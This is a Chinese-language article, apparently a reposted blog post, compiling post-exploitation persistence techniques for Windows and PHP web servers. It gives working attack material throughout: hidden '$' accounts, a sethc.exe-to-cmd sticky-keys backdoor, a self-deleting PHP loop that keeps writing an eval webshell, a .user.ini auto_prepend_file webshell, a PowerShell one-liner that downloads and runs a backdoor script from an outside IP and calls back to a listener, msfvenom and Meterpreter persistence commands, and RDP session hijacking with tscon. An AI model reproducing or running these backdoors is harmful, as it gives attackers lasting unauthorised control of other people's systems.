专栏首页渗透云笔记后渗透之权限维护 整理

后渗透之权限维护 整理

后渗透之权限维护

影子账户(在用户名后面加上一个$符号)

原理:创建一个跟普通用户一样的用户,但是只能在注册表中才能查看到的用户。

net user luomiweixiong$ /add

net user

可以看一下对比,创建test用户,net user查看用户是可以看见的,而admin$,因为加了个$符号,用net user命令是看不见的。

如何查看隐藏用户:

在计算机中不同地方看到的用户的数量是有区别的。在控制面版中看到的用户是最少的,而在计算机管理中的本地用户和组的用户能看到一些隐藏的用户,但是对于部分通过后门或者木马添加的帐户,在一般情况是只能通过注册表才能查看到的。

打开注册表:ctrl+r运行—>regedit

找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\Users\Names,在默认情况下,隐藏用户的查看是隐藏的。

解决方法:在SAM文件夹处点击右键—>权限

只有通过administrator给administrator完全控制的权限,这样我们才能看到在SAM文件夹下的隐藏目录和隐藏文件。

点击确定,保存了后,关闭注册表,重新打开注册表,就可以看见SAM目录下的隐藏文件了。这个时候就可以看见添加的隐藏用户admin$

还有个简单的办法,其实在控制面板中也可以看见

如何删除隐藏用户:

①在注册表中右键删除,重启一下即可。

②在控制面板中进行管理删除。

二、shift后门

原理:按5下shift时调用的“粘滞键”,它会运行c:\winows\system32\setchx.exe,将这个程序替换成cmd程序

1、将 C:\WINDOWS\system32\dllcache\sethc.exe删除,这个文件夹中放着缓存,如果不删除就会自动变回去找到

注意:在删除时提示删除不了,你需要trustedinstaller提供的权限

解决方法:

右键—>属性—>安全—>高级—>更改—>高级—>立即查找—>选择一个用户如Administrator—>确定—>确定—>确定

关闭属性窗口,再次右键—>安全—>高级—>更改权限—>双击Administrator用户—>勾选完全控制

即可成功删除文件。

C:\WINDOWS\system32\cmd.exe 将其复制并将名称更改为 sethc.exe,放回文件夹中这次按5次shift键就可以打开cmd了

好处:在我们未登陆系统(停留在登陆界面)的时候系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序。

三、反弹加入自启

1、NC反弹

2、Bash反弹

3、perl反弹

4、Python反弹

5、PHP反弹

6、等等

将反弹的脚本写入到启动项里,当受害者启动服务器时,自动反弹shell。弊端就是要一直监听,还要有公网的IP。

四、隐藏后门文件

1、将木马文件属性改为“隐藏”

2、将木马名字进行伪装处理,伪装成系统文件或者报错文件。

修改时间跟系统文件时间类似。

4、利用循环不死马。

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){file_put_contents('phpinf0.php','<?php $a=array($_REQUEST["kk"]=>"3");
$b=array_keys($a)[0];eval($b);?>');sleep(8);}
?>

说明:此脚本会每8秒不断的向服务器生成一个“phpinf0.php”的一句话木马。

五、利用.user.ini文件自动包含木马文件

1、.user.ini文件是什么

官方解释为自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

通过阅读手册,我们知道在.user.ini中可以识别PHP_INI_PERDIR和PHP_INI_USER模式的INI设置

关于PHP_INI_*一共有四种,重点关注其中可被识别的两种:

模式

含义

PHP_INI_USER

可在用户脚本以及.user.ini中设定

PHP_INI_PERDIR

可在php.ini,.htaccess或httpd.conf中设定

2、找到关键点

而在php.ini中有一个配置项:auto_prepend_file,该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门。

3、再来捋一捋

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。实际上,除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说当修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

这就很容易地借助.user.ini文件来构造一个“后门”。

4、原理

.user.ini可以识别PHP_INI_PERDIR模式,而PHP_INI_PERDIR模式可在php.ini中设定,也就是说,在PHP_INI_PERDIR模式下,.user.ini可以识别php.ini中的配置项。那么就可以利用php.ini中的配置项:auto_prepend_file,来让php文件在执行前先包含个指定的文件,这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell,也可以是一个图片马(效果与.htaccess漏洞一样)。

比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件(见下面步骤,用正常php文件来当一个桥梁),否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。

5、实现演示过程

因为是用fastcgi解析php文件,所以在phpstudy中要切换版本为nts版本。在phpstudy中nts就是fastcgi模式。

①在目录下创建一个.user.ini文件,内容如下

auto_prepend_file=test.jpg

②然后再创建一个test.jpg文件,内容如下

<?php

if(@$_GET['shell']=='test'){

phpinfo();

}?>

③再创建一个正常的php文件

<?php

echo ‘test123’;

?>

④访问test.php文件,页面显示如下:

⑤在其后加上参数,?shell=test,页面显示如下:

6、整个逻辑过程

当访问127.0.0.1/test.php时,先扫描.user.ini文件,通过.user.ini文件中的配置项auto_prepend_file,在test.php文件被执行前先读取test.jpg内容,if条件不满足,不执行test.jpg中的php代码,所以页面正常显示test.php的内容test123。

当访问127.0.0.1/test.php?shell=test时,先扫描.user.ini文件,通过.user.ini文件中的配置项auto_prepend_file,在test.php文件被执行前先读取test.jpg内容,if条件满足,执行test.jpg中的php代码,所以页面显示phpinfo内容。

Powershell权限维持

参考此Powershell脚本:https://github.com/re4lity/Schtasks-Backdoor

利用代码

①在cmd中输入nc -lvp 9999

②在powershell中输入

powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://119.31.210.50/Schtasks-Backdoor.ps1');Invoke-Tasksbackdoor-method nccat -ip 192.168.68.148 -port 666 -time 2"

说明:

119.31.210.50为受害者IP,前提是要把PowerShell脚本放到受害者服务器能访问到的根路径。 192.168.68.148为接收反弹回来的IP,可用NC监听反弹回来的shell

2、可能会遇到的问题

提示脚本无法运行 解决方法:输入set-ExecutionPolicy ALLSIGNED 选择Y

提示脚本无数字签名无法运行 解决方法:输入set-executionpolicy Bypass 选择Y

metasploit权限维持

1、获取Meterpretershell

使用MSF维持权限的前提是先获得一个Meterpretershell,首先我们先生成一个payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1256 -f exe >xx.exe

在home目录下能看见我们刚刚生成的payload,将它发送给目标主机

msfconsole进入msf

监听端口

被攻击机执行exe文件

2、Metsvc模块

metsvc是通过服务启动,服务名是meterpreter。

启动:

meterpreter> run metsvc -A

移除:

meterpreter> run metsvc -r

该条启动命令执行成功后,会在目标系统自动创建一个 meterpreter 的 serverces ,并自动保存为开机自动启动。

监听31337端口利用handler下的windows/metsvc_bind_tcp模块,重新获得shell。

3、Persistence模块

persistence是通过启动项启动

run persistence -U -i 10 -p 7898 -r 192.168.190.134

参数解析:

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;

-i:设置反向连接间隔时间,单位为秒;

-p:设置反向连接的端口号;

-r:设置反向连接的ip地址。

MSF会在目标主机中生成一个vbs文件,并执行

执行background后台运行,设置LPORT,执行

成功的话会得到一个后门,可以再次连接

重启动后任然可以连接 解决办法,删除刚才目录下的vbs

会话劫持

说明:RDP会话劫持是在不知道另一用户密码的条件下进行切换用户登录

query user

sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"

net start sesshijack

只需使用quser命令获取你想要劫持的会话ID和自己的SESSIONNAME。然后运行tscon进行会话ID劫持。你自己的会话将被替换为被劫持的会话。默认情况下,服务将作为SYSTEM运行。

文章资料来源:

http://e86.me/3GqBN8

https://blog.csdn.net/ljl961890233bear/article/details/84685700

https://blog.csdn.net/weixin_43999372/article/details/88544361

https://www.4hou.com/info/news/3898.html

本文分享自微信公众号 - 渗透云笔记(shentouyun),作者:梦言

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 文件包含漏洞与文件包含Bypass漏洞基础

    服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。

    天钧
  • 慕课网三小时入门php笔记

    自己深知自己的底子不好,十分的懒惰,所以打算5个小时入门PHP来弥补基础,因为入行较早,所以知道怎么去学,怎么才能让自己的记忆深刻。

    天钧
  • PHP函数基础简章

    在 PHP 中,预定义的 $_GET 变量用于收集来自 method="get" 的表单中的值。

    天钧
  • 用PHP来执行定时任务

    上个月有个需求,用PHP写了一个接口给SDK使用,原始数据使用MySQL进行记录。热数据用Redis进行+1的原子操作。每隔一定时间,由一个PHP脚本(姑且就命...

    libo1106
  • 业界 | 谷歌发布TensorFlow 1.3.0版本,新加多个分类器、回归器

    机器之心
  • 在Gradle里访问任务(task)的几种方式

    println tasks.hello.name println tasks[‘hello’].name println ‘–’ tasks.each{ ...

    Jerry Wang
  • 大数据应用日志采集之Scribe演示实例完全解析

      Scribe是Facebook开源的日志收集系统,在Facebook内部已经得到大量的应用。它能够从各种日志源上收集日志,存储到一个中央存储系统(可以是NF...

    数据饕餮
  • 分享一套SpringBoot开发博客系统源码,以及完整开发文档!速度保存!

    摘要:eblog是一个基于Springboot2.1.2开发的博客学习项目,为了让项目融合更多的知识点,达到学习目的,编写了详细的从0到1开发文档。主要学习包括...

    乔戈里
  • LOCKY勒索者新花样:通过PDF投递

    摘 要 最近安恒APT团队截获一个新版的LOCKY勒索者病毒样本,区别之前大多数样本采用WORD文档投递并用宏代码远程下载执行的方式,该样本在原有的WORD文档...

    安恒信息
  • 分享一套SpringBoot开发博客系统源码,以及完整开发文档!速度保存!

    摘要:eblog是一个基于Springboot2.1.2开发的博客学习项目,为了让项目融合更多的知识点,达到学习目的,编写了详细的从0到1开发文档。主要学习包括...

    江南一点雨

扫码关注云+社区

领取腾讯云代金券